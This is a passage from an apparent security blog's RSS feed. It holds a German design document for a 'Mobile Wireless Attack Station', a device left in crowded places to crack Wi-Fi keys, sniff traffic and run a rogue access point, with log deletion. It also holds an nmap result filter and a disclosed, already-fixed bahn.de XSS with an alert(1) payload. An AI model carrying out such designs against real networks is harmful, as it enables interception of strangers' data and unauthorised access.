viel angewachsen?<br />
&gt;&gt; Nein: Intervall bis zum nächsten Check vergrößern<br />
&gt;&gt; Ja: Intervall verkleinern<br />
3.) Identifizieren von aktiven Hosts zur Verdreifachung der Paketrate<br />
&gt;&gt; Stichwort: Interactive Packet Replay</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Was-Wenn &#8230;:<br />
Verschiedene Zustände erfordern verschiedene Reaktionen. Hier soll dargestellt<br />
werden was passiert wenn eine bestimme Situation eintritt.<br />
1.) &#8230; keine Verbindung zu Satelliten hergestellt werden kann und somit keine<br />
Lokalisierung möglich ist?<br />
&gt;&gt; Intervall wird erhöht<br />
&gt;&gt; Keine weitere Lösungsmöglichkeiten, Gerät muss nach einer bestimmten<br />
Zeit einfach wieder abgeholt werden<br />
2.) &#8230; der UMTS Stick keine Verbindung herstellen kann?<br />
&gt;&gt; Intervall erhöhen<br />
&gt;&gt; Keine weitere Lösungsmöglichkeiten, Gerät muss nach einer bestimmten<br />
Zeit einfach wieder abgeholt werden<br />
3.) &#8230; das Lokalisierungsmodul feststellt, dass sich das Gerät unangekündigt<br />
bewegt?<br />
&gt;&gt; Manuelle Prüfung durch Clienten<br />
&gt;&gt; Meldet sich kein Client innerhalb der nächsten 15 Minuten am Server<br />
an werden alle relevanten Daten gelöscht<br />
4.) &#8230; kein Netzwerk gefunden wurde?<br />
&gt;&gt; System wird zu einem AP mit Internetverbindung über UMTS und snifft<br />
Daten von den am AP angemeldeten VICs<br />
5.) &#8230; der Akku fast leer ist?<br />
&gt;&gt; Email an den in der Config definierten Clienten<br />
6.) &#8230; die Festplatte fast voll ist?<br />
&gt;&gt; Email an den in der Config definierten Clienten<br />
7.) &#8230; der SSH Dienst nicht verfügbar ist?<br />
&gt;&gt; Warten bis der ServiceCheck von iMWAS dies bemerkt und den Dienst<br />
neustartet</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Config:<br />
a.) Intervalle:<br />
- interval_ap_refresh: Definiert die Zeit in Sekunden bis auf neue APs<br />
geprüft wird<br />
- interval_localization_reconnect: Definiert die Zeit in Sekunden bis<br />
wieder versucht wird eine Verbindung zu einem Satelliten herzustellen<br />
- interval_localization_check: Definiert das Intervall zur Abfrage der<br />
aktuellen Position<br />
- interval_umts_reconnect: Definiert die Zeit in Sekunden bis wieder ver-<br />
sucht wird eine Verbindung über den UMTS-Stick herzustellen<br />
- interval_akku_check: Definiert die Zeit in Sekunden bis zur nächsten<br />
Abfrage des Akkustands<br />
- interval_service_check: Definiert die Zeit in Sekunden bis zum nächsten<br />
Alive-Check der Dienste<br />
- interval_hdd_check: Definiert die Zeit in Sekunden bis die Festplatte das<br />
nächste mal auf ihren freien Speicherplatz gecheckt wird<br />
b.)    Kontakt:<br />
- email: Definiert die Emailadresse des Clienten<br />
c.) Wireless:<br />
- standard_creation_interface: Definiert das Standart-Interface das von<br />
Airmon-ng in den Monitor-Modus versetzt wird<br />
- standard_interface: Definiert das Interface das von Airmon-ng geschaffen<br />
wurde und von airodump-ng, etc verwendet wird<br />
- min_packets: Definiert die Mindestanzahl an Paketen die pro Netzwerk<br />
abgefangen werden sollen bevor ein anderes Netzwerk analysiert wird<br />
- ap_mode_name: Definiert den Namen des Netzwerks das der AP-Modus erstellt<br />
hat<br />
d.)    Server:<br />
- sshd_port: Definiert den Port auf dem der SSH-Dienst lauscht<br />
- db_name: Definiert den MySQL Datenbank Namen<br />
- db_table: Definiert die MySQL Datenbank Tabelle</p>
<div id="_mcePaste" style="overflow:hidden;position:absolute;left:-10000px;top:199px;width:1px;height:1px;">
<p>MWAS &#8211; Mobile Wireless Attack Station</p>
<p>Ziel:<br />
Aufbau einer in sich mobilen Station die die unten aufgeführen<br />
Funktionen selbstständig ausführen kann.<br />
&gt; Klasse: Automatisches Penetration Testing System<br />
&gt;&gt; Bestehend aus Soft- und Hardware<br />
&gt;&gt;&gt; Das System ist für den Außenbetrieb konzipiert<br />
Einsatzgebiet: Ort mit hoher Bevölkerungsdichte</p>
<p>Funktionen:<br />
- Erkennung von Wireless-Lan-Netzwerken und deren Verschlüsselung<br />
- Penetrieren (Sammeln von IVs) von verschlüsselten Netzwerken<br />
- Speicherung der lokalisierten Netzwerken anhand der ESSID,<br />
BSSID, Signalstärke, Netzwerkschlüssel und geografischen<br />
Position in einer MySQL Datenbank<br />
- Ständiger Remote-Zugriff durch UMTS-Verbindung auf einen<br />
lokalen SSH-Server<br />
- Versand von Statusmeldungen via Email<br />
- Dateiverwaltung von Capture-, xor- und Sonstigen Dateien<br />
- Sniffing in offenen Netzwerken<br />
- Überwachung der verschiedenen &#8222;lebenserhaltenden&#8220; Funktionen<br />
(Akku, Dienste, &#8230;)<br />
- AP Modus &#8211; System bietet sich als AP an und stellt eine<br />
Verbindung über den UMTS Stick her. Dannach kann das System<br />
sniffen<br />
- Panic Mode: Alarmnachricht bei vorher nicht angegündigter<br />
Positionsänderung<br />
- Löschen von Logfiles (Access-Logs, &#8230;)<br />
- Verschlüsselung der Daten<br />
- Zugrifsschutz für Unberechtigte</p>
<p>&gt;&gt; WICHTIG: Umstellung des Systems &#8211; das System speichert<br />
nur die Dateien, gecrackt wird auf einem<br />
externen Server<br />
&lt;&gt; Trotzdem wird ein Schlüssel für gecrackte Netze<br />
in der Datenbank behalten, damit das System<br />
einem Netz beitreten kann um dort zu sniffen</p>
<p>Umsetzung durch Multithreading:<br />
Da eine vielzahl von Funktionen simultan und stetig ausgeführt<br />
werden müssen kommt Multithreading zum Einsatz.</p>
<p>Hierfür werden die Funktionen in 5 Klassen eingeteilt:<br />
1.) Wireless Modul<br />
2.) Server Modul<br />
3.) Health Modul<br />
4.) Remote Connection Modul<br />
5.) Localization Modul</p>
<p>Die Klassen sind wiederrum Teil der 3 Komponenten:<br />
1.) Wireless Component { Wireless Modul }<br />
2.) Server Component { Server Modul; Health Modul; Localization Modul }<br />
3.) Remote Component { Remote Connection Modul }</p>
<p>Hardwareanforderungen:<br />
- CPU muss Multithreading unterstützen<br />
- Wireless-Lan-Adapter muss &#8222;Promiscious Mode&#8220; unterstützen<br />
- Genügend Festplattenspeicher (geschätzer Wert: 20GB)<br />
- Ausreichend Arbeitsspeicher (geschätzer Wert: min. 512MB)<br />
- Verstärkerantenne mit ausreichend Sendeleistung<br />
- Möglichst klein und mobil<br />
- Lange Akkulaufzeit<br />
- Sparsamer Energieverbrauch</p>
<p>Basisablauf:<br />
1.) Das System wird ausgesetzt und beginnt eine Netzverbindung<br />
herzustellen<br />
2.) Das System sendet seine IP-Adresse an eine im Config-File<br />
beschriebene Email-Adresse<br />
3.) Der Client greift auf den durch das System automatisch<br />
gestarteten SSH-Dienst zu und prüft ob iMWAS gestartet wurde<br />
(Mobile Wireless Attack Station i-Software)<br />
4.) iMWAS beginnt die Suche nach Netzwerken und speichert diese<br />
in der Datenbank<br />
5.) iMWAS beginnt mit dem Sammeln der Daten durch airodump-ng<br />
5a.) Erreicht das .cap-File eine entsprechende Größe oder wird<br />
die Festplatte zu voll wird das Sammmeln abgebrochen und eine<br />
Email an den im Config-File definierten Clienten geschickt<br />
6.) Gibt es ein offenes Netz mit verbundenen Clients verbindet<br />
iMWAS sich mit dem Netzwerk und fängt an zu sniffen<br />
7.) Werden keine Netze gefunden geht iMWAS in einen AP-Modus und<br />
bietet sich als Internetzugang via UMTS an. iMWAS snifft dann<br />
die Daten der verbundenen VICs</p>
<p>Erwartungen an MWAS:<br />
1.) Robust<br />
2.) Klein<br />
3.) Hohe Reichweite<br />
4.) Stromsparend<br />
5.) Wasserfest</p>
<p>Erwartungen an iMWAS:<br />
1.) Stabil<br />
2.) Effizient<br />
3.) Zuverlässig<br />
4.) Zugrifsschutz für Unberechtigte</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Ressourcenplanung:<br />
1.) Hardware:<br />
Für den Testaufbau ist eine Zeitspanne von 1 Monate angesetzt,<br />
vorrausgesetzt die benötigte Hardware ist vorhanden.</p>
<p>Für den (Um-)Bau der finalen Hardware werden 2 Monate angesetzt.<br />
Das System soll in einem flexiblen, aber auch robusten<br />
Material eingebaut werden. Vorgabe: Keine</p>
<p>2.) Software:<br />
Für die Entwicklung der Software werden folgende Zeitspannen<br />
angesetzt: &lt;1MT = 2 Stunden&gt;<br />
a.) Wireless Modul: 30MT<br />
b.) Server Modul: 10 MT<br />
c.) Health Modul: 10 MT<br />
d.) Remote Connection Modul: 20 MT<br />
e.) Localization Modul: 20 MT<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Total:        90MT</p>
<p>3.) Testphase:<br />
Es werden 5 Testläufe unter Realbedingungen durchgeführt.<br />
Sollten dannach Funktionen existieren die nicht in den Test-<br />
läufen aufgerufen wurden werden die Tests verlängert.</p>
<p>Zu evaluierende Faktoren:<br />
- Laufzeit: Sollwert: min. 8h<br />
- Stromverbrauch: Sollwert: unter 20W<br />
- Festplattenplatz: Sollwert: Ausreichend für das sniffen über<br />
die volle Akkulaufzeit<br />
- Signalabdeckung: Sollwert: Radius von min. 500m</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Projektkosten:<br />
- Für den Testaufbau wird mit reinen Materialkosten von ca. 650 gerechnet<br />
- Für den Bau der finalen Hardware wird mit zusätzlichen Kosten von<br />
ca. 300 gerechnet<br />
- Geschätze Betriebsskosten pro Monat: ca. 40<br />
&gt; Strom<br />
&gt; UMTS Stick</p>
<p>Einhaltung der Projekteffizienz:<br />
Um das System so performant wie möglich zu machen muss iMWAS mit der höchst<br />
möglichen Effizienz mit den Systemkomponenten zusammenarbeiten.</p>
<p>Ideen:<br />
1.) Setzen/Verwenden von Systemvariablen<br />
2.) &#8222;Logische&#8220; zeitliche Intervalle in der Ausführung von Funktionen<br />
Bsp.: Ist der verbrauchte Festplattenplatz seit dem letzten Check<br />
viel angewachsen?<br />
&gt;&gt; Nein: Intervall bis zum nächsten Check vergrößern<br />
&gt;&gt; Ja: Intervall verkleinern<br />
3.) Identifizieren von aktiven Hosts zur Verdreifachung der Paketrate<br />
&gt;&gt; Stichwort: Interactive Packet Replay</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Was-Wenn &#8230;:<br />
Verschiedene Zustände erfordern verschiedene Reaktionen. Hier soll dargestellt<br />
werden was passiert wenn eine bestimme Situation eintritt.<br />
1.) &#8230; keine Verbindung zu Satelliten hergestellt werden kann und somit keine<br />
Lokalisierung möglich ist?<br />
&gt;&gt; Intervall wird erhöht<br />
&gt;&gt; Keine weitere Lösungsmöglichkeiten, Gerät muss nach einer bestimmten<br />
Zeit einfach wieder abgeholt werden<br />
2.) &#8230; der UMTS Stick keine Verbindung herstellen kann?<br />
&gt;&gt; Intervall erhöhen<br />
&gt;&gt; Keine weitere Lösungsmöglichkeiten, Gerät muss nach einer bestimmten<br />
Zeit einfach wieder abgeholt werden<br />
3.) &#8230; das Lokalisierungsmodul feststellt, dass sich das Gerät unangekündigt<br />
bewegt?<br />
&gt;&gt; Manuelle Prüfung durch Clienten<br />
&gt;&gt; Meldet sich kein Client innerhalb der nächsten 15 Minuten am Server<br />
an werden alle relevanten Daten gelöscht<br />
4.) &#8230; kein Netzwerk gefunden wurde?<br />
&gt;&gt; System wird zu einem AP mit Internetverbindung über UMTS und snifft<br />
Daten von den am AP angemeldeten VICs<br />
5.) &#8230; der Akku fast leer ist?<br />
&gt;&gt; Email an den in der Config definierten Clienten<br />
6.) &#8230; die Festplatte fast voll ist?<br />
&gt;&gt; Email an den in der Config definierten Clienten<br />
7.) &#8230; der SSH Dienst nicht verfügbar ist?<br />
&gt;&gt; Warten bis der ServiceCheck von iMWAS dies bemerkt und den Dienst<br />
neustartet</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Config:<br />
a.) Intervalle:<br />
- interval_ap_refresh: Definiert die Zeit in Sekunden bis auf neue APs<br />
geprüft wird<br />
- interval_localization_reconnect: Definiert die Zeit in Sekunden bis<br />
wieder versucht wird eine Verbindung zu einem Satelliten herzustellen<br />
- interval_localization_check: Definiert das Intervall zur Abfrage der<br />
aktuellen Position<br />
- interval_umts_reconnect: Definiert die Zeit in Sekunden bis wieder ver-<br />
sucht wird eine Verbindung über den UMTS-Stick herzustellen<br />
- interval_akku_check: Definiert die Zeit in Sekunden bis zur nächsten<br />
Abfrage des Akkustands<br />
- interval_service_check: Definiert die Zeit in Sekunden bis zum nächsten<br />
Alive-Check der Dienste<br />
- interval_hdd_check: Definiert die Zeit in Sekunden bis die Festplatte das<br />
nächste mal auf ihren freien Speicherplatz gecheckt wird<br />
b.)    Kontakt:<br />
- email: Definiert die Emailadresse des Clienten<br />
c.) Wireless:<br />
- standard_creation_interface: Definiert das Standart-Interface das von<br />
Airmon-ng in den Monitor-Modus versetzt wird<br />
- standard_interface: Definiert das Interface das von Airmon-ng geschaffen<br />
wurde und von airodump-ng, etc verwendet wird<br />
- min_packets: Definiert die Mindestanzahl an Paketen die pro Netzwerk<br />
abgefangen werden sollen bevor ein anderes Netzwerk analysiert wird<br />
- ap_mode_name: Definiert den Namen des Netzwerks das der AP-Modus erstellt<br />
hat<br />
d.)    Server:<br />
- sshd_port: Definiert den Port auf dem der SSH-Dienst lauscht<br />
- db_name: Definiert den MySQL Datenbank Namen<br />
- db_table: Definiert die MySQL Datenbank Tabelle</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Folgeprojekte:<br />
- Live-Stream Capturing über UMTS<br />
- Controlpanel<br />
- Hardware Upgrade<br />
- Quattrocopter<br />
- Bluetooth Sniffing<br />
- Active Exploitation<br />
- Clustering<br />
- &#8222;Geschlossenes&#8220; System mit Ladetechnik wie z.b. Powermat / Docking Station</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/writemecas.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/writemecas.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/writemecas.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/writemecas.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/writemecas.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/writemecas.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/writemecas.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/writemecas.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/writemecas.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/writemecas.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/writemecas.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/writemecas.wordpress.com/119/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/writemecas.wordpress.com/119/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/writemecas.wordpress.com/119/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=119&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://writemecas.wordpress.com/2010/03/03/mwas-wlan-insecurity-proof-of-concept/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">writemecas</media:title>
		</media:content>
	</item>
		<item>
		<title>[ Presentation ] Introduction  to Covert Channeling</title>
		<link>http://writemecas.wordpress.com/2009/12/28/presentation-introduction-to-covert-channeling/</link>
		<comments>http://writemecas.wordpress.com/2009/12/28/presentation-introduction-to-covert-channeling/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 14:29:11 +0000</pubDate>
		<dc:creator>writemecas</dc:creator>
				<category><![CDATA[Presentations]]></category>
		<category><![CDATA[covert channel]]></category>
		<category><![CDATA[covert channeling]]></category>
		<category><![CDATA[http tunnel]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[tunnel]]></category>

		<guid isPermaLink="false">http://writemecas.wordpress.com/?p=115</guid>
		<description><![CDATA[Quick presentation on covert channeling: http://docs.google.com/present/edit?id=0AeGb_YxL2qxoZGZyd3BnOG5fMGdybTdzMmhx&#38;hl=en<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=115&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Quick presentation on covert channeling:</p>
<p><a title="Google Docs Presentation" href="http://docs.google.com/present/edit?id=0AeGb_YxL2qxoZGZyd3BnOG5fMGdybTdzMmhx&amp;hl=en" target="_blank">http://docs.google.com/present/edit?id=0AeGb_YxL2qxoZGZyd3BnOG5fMGdybTdzMmhx&amp;hl=en</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/writemecas.wordpress.com/115/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/writemecas.wordpress.com/115/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/writemecas.wordpress.com/115/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/writemecas.wordpress.com/115/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/writemecas.wordpress.com/115/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/writemecas.wordpress.com/115/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/writemecas.wordpress.com/115/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/writemecas.wordpress.com/115/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/writemecas.wordpress.com/115/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/writemecas.wordpress.com/115/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/writemecas.wordpress.com/115/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/writemecas.wordpress.com/115/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/writemecas.wordpress.com/115/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/writemecas.wordpress.com/115/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=115&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://writemecas.wordpress.com/2009/12/28/presentation-introduction-to-covert-channeling/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">writemecas</media:title>
		</media:content>
	</item>
		<item>
		<title>Nmap Output Filter</title>
		<link>http://writemecas.wordpress.com/2009/04/27/nmap-output-filter/</link>
		<comments>http://writemecas.wordpress.com/2009/04/27/nmap-output-filter/#comments</comments>
		<pubDate>Mon, 27 Apr 2009 19:51:21 +0000</pubDate>
		<dc:creator>writemecas</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[filter]]></category>
		<category><![CDATA[nmap]]></category>

		<guid isPermaLink="false">http://writemecas.wordpress.com/?p=91</guid>
		<description><![CDATA[If you ever scanned a network range for Port 80, you may have received huge logfiles where you have to laboriously pick out the online hosts. For example i did the following scan: nmap -sV -p 80 -iL online_host_list &#62; list_only_port80 The result is a (more or less) bigger list with results. As said, more [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=91&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>If you ever scanned a network range for Port 80, you may have received huge logfiles where you have to laboriously pick out the online hosts.</p>
<p>For example i did the following scan:<br />
<strong><br />
nmap -sV -p 80 -iL online_host_list &gt; list_only_port80<br />
</strong></p>
<p>The result is a (more or less) bigger list with results. As said, more or less useful. So i decided to write a little filter which you can use straight from the command line:<br />
<strong><br />
inhalt=$(cat your_lists | grep -n &#8222;your_pattern&#8220; | sed &#8216;s/:/\n/g&#8217; | grep -v &#8222;80/tcp&#8220;); for i in $inhalt; do counter=$(($i-2)); var=$(echo &#8222;sed -n &#8220; &amp;&amp; echo $counter &amp;&amp; echo &#8222;p your_lists&#8220;); command=$(echo $var | sed &#8216;s/ p/p/g&#8217;); $command | sed &#8216;s/ /\n/g&#8217; | grep -v &#8222;Interesting&#8220; | grep -v &#8222;ports&#8220; | grep -v &#8222;on&#8220; | grep -v &#8222;other_pattern&#8220; | sed &#8216;s/(//g&#8217; | sed &#8216;s/)//g&#8217; | sed &#8216;s/://g&#8217;;  done<br />
</strong></p>
<p>So if you, for example, scan a ip range in russia for IIS 5.0 webservers you may use this command:<br />
<strong><br />
inhalt=$(cat list* | grep -n &#8222;IIS webserver 5.0&#8243; | sed &#8216;s/:/\n/g&#8217; | grep -v &#8222;80/tcp&#8220;); for i in $inhalt; do counter=$(($i-2)); var=$(echo &#8222;sed -n &#8220; &amp;&amp; echo $counter &amp;&amp; echo &#8222;p list*&#8220;); command=$(echo $var | sed &#8216;s/ p/p/g&#8217;); $command | sed &#8216;s/ /\n/g&#8217; | grep -v &#8222;Interesting&#8220; | grep -v &#8222;ports&#8220; | grep -v &#8222;on&#8220; | grep -v &#8222;.ru&#8220; | sed &#8216;s/(//g&#8217; | sed &#8216;s/)//g&#8217; | sed &#8216;s/://g&#8217;;  done<br />
</strong><br />
As a result you receive a clear list of online hosts running a http server.</p>
<p>Maybe not the most beautiful script, but its doing its job.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/writemecas.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/writemecas.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/writemecas.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/writemecas.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/writemecas.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/writemecas.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/writemecas.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/writemecas.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/writemecas.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/writemecas.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/writemecas.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/writemecas.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/writemecas.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/writemecas.wordpress.com/91/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=91&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://writemecas.wordpress.com/2009/04/27/nmap-output-filter/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">writemecas</media:title>
		</media:content>
	</item>
		<item>
		<title>Bahn.de XSS Vulnerability</title>
		<link>http://writemecas.wordpress.com/2009/03/12/bahnde-xss-vulnerability/</link>
		<comments>http://writemecas.wordpress.com/2009/03/12/bahnde-xss-vulnerability/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 12:06:24 +0000</pubDate>
		<dc:creator>writemecas</dc:creator>
				<category><![CDATA[SPECIAL]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[bahn.de]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://writemecas.wordpress.com/?p=75</guid>
		<description><![CDATA[I recently discovered a XSS flaw on www.bahn.de. I was interested in the time it would take for them to find it on their own. So today i took a quick look and what can i say &#8211; they finally fixed it. The flaw was found on 14th february 2k9. Since it is fixed now, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=75&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I recently discovered a XSS flaw on www.bahn.de. I was interested in the time it would take for them to find it on their own. So today i took a quick look and what can i say &#8211; they finally fixed it. The flaw was found on 14th february 2k9.</p>
<p>Since it is fixed now, i took a screenshot one day after i found it. Click on the image to see it in it&#8217;s real size:</p>
<p><a href="http://i44.tinypic.com/xeqzac.jpg" target="_blank"><img class="alignnone" title="bahn_small" src="http://i44.tinypic.com/26390fb.jpg" alt="" width="300" height="188" /></a></p>
<p>The injected code:</p>
<blockquote><p>&#8222;&gt;&lt;script&gt;alert(1);&lt;/script&gt;</p>
</blockquote>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/writemecas.wordpress.com/75/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/writemecas.wordpress.com/75/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/writemecas.wordpress.com/75/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/writemecas.wordpress.com/75/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/writemecas.wordpress.com/75/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/writemecas.wordpress.com/75/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/writemecas.wordpress.com/75/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/writemecas.wordpress.com/75/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/writemecas.wordpress.com/75/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/writemecas.wordpress.com/75/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/writemecas.wordpress.com/75/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/writemecas.wordpress.com/75/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/writemecas.wordpress.com/75/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/writemecas.wordpress.com/75/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=writemecas.wordpress.com&amp;blog=6148726&amp;post=75&amp;subd=writemecas&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://writemecas.wordpress.com/2009/03/12/bahnde-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">writemecas</media:title>
		</media:content>

		<media:content url="http://i44.tinypic.com/26390fb.jpg" medium="image">
			<media:title type="html">bahn_small</media:title>
		</media:content>
	</item>
		<item>
		<title>Focus.de XSS Vulnerability &#8211; Cookie Stealer Example</title>
		<link>http://writemecas.wordpress.com/2009/02/14/focusde-xss-vulnerability-cookie-stealer-example/</link>
		<comments>http://writemecas.wordpress.com/2009/02/14/focusde-xss-vulnerability-cookie-stealer-example/#comments</comments>
		<pubDate>Sat, 14 Feb 2009 18:51:50 +0000</pubDate>
		<dc:creator>writemecas</dc:creator>
				<category><![CDATA[SPECIAL]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[focus.de]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://writemecas.wordpress.com/?p=50</guid>
